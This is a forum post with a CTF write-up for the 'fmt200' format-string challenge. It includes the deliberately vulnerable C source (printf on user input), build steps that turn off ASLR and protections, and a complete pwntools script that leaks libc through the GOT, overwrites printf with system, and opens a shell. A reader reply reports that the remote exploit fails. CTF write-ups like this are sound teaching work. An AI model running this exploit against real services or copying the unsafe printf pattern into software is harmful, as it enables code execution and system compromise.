学逆向论坛

找回密码
立即注册

只需一步,快速开始

发新帖

2万

积分

41

好友

1157

主题
发表于 2021-2-25 16:19:38 | 查看: 2974| 回复: 1

相关题目:

♦ fmt200

解题文档

程序环境

ubuntu 18.04

考点

格式化字符串

write_up

  1. 源代码.

```C++

include<stdio.h>

void main()
{
char s[1024];
for(;;)
{
memset(s,'\0',1024);
read(0,s,1024);
printf(s);
fflush(stdout);
//在使用多个输出函数连续进行多次输出时,有可能发现输出错误。因为下一个数据再上一个数据还没输出完毕,还在输出缓冲区中时,下一个printf就把另一个数据加入输出缓冲区,结果冲掉了原来的数据,出现输出错误。 在 prinf();后加上fflush(stdout); 强制马上输出,避免错误。
}

}


2. 编译参数.

关闭ASLR,关闭PIE
echo 0 > /proc/sys/kernel/randomize_va_space
gcc -m32 -fno-stack-protector -no-pie fmt200.c -o fmt200


3. 解题脚本参考:

```python
from pwn import*
e=ELF('./fmt200')
p=remote('192.168.106.128', 10001)
libc=ELF('/lib/i386-linux-gnu/libc.so.6')

def exec_fmt(payload):
    p.sendline(payload)
    info=p.recv()
    return info

auto=FmtStr(exec_fmt)
offset=auto.offset

printf_got=e.got['printf']

payload =p32(printf_got)+'%{}$s'.format(offset).encode()

p.send(payload)
printf_addr=u32(p.recv()[4:8])
system_addr=printf_addr-libc.symbols['printf']+libc.symbols['system']
log.info("system_addr=>%s"%hex(system_addr))
payload=fmtstr_payload(offset,{printf_got:system_addr})
p.send(payload)
p.send('/bin/sh')
p.recv()
p.interactive()
温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的认可,还可以获得学币奖励,请尊重他人的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
论坛交流群:672619046

    发表于 2021-6-17 18:56:46
    远程服务器有问题啊,本地getshell,远程打不通,用writeup的脚本也打不通

    小黑屋|手机版|站务邮箱|学逆向论坛 ( 粤ICP备2021023307号 )|网站地图

    GMT+8, 2024-5-21 15:15 , Processed in 0.115305 second(s), 41 queries .

    Powered by Discuz! X3.4

    Copyright © 2001-2021, Tencent Cloud.

    快速回复 返回顶部 返回列表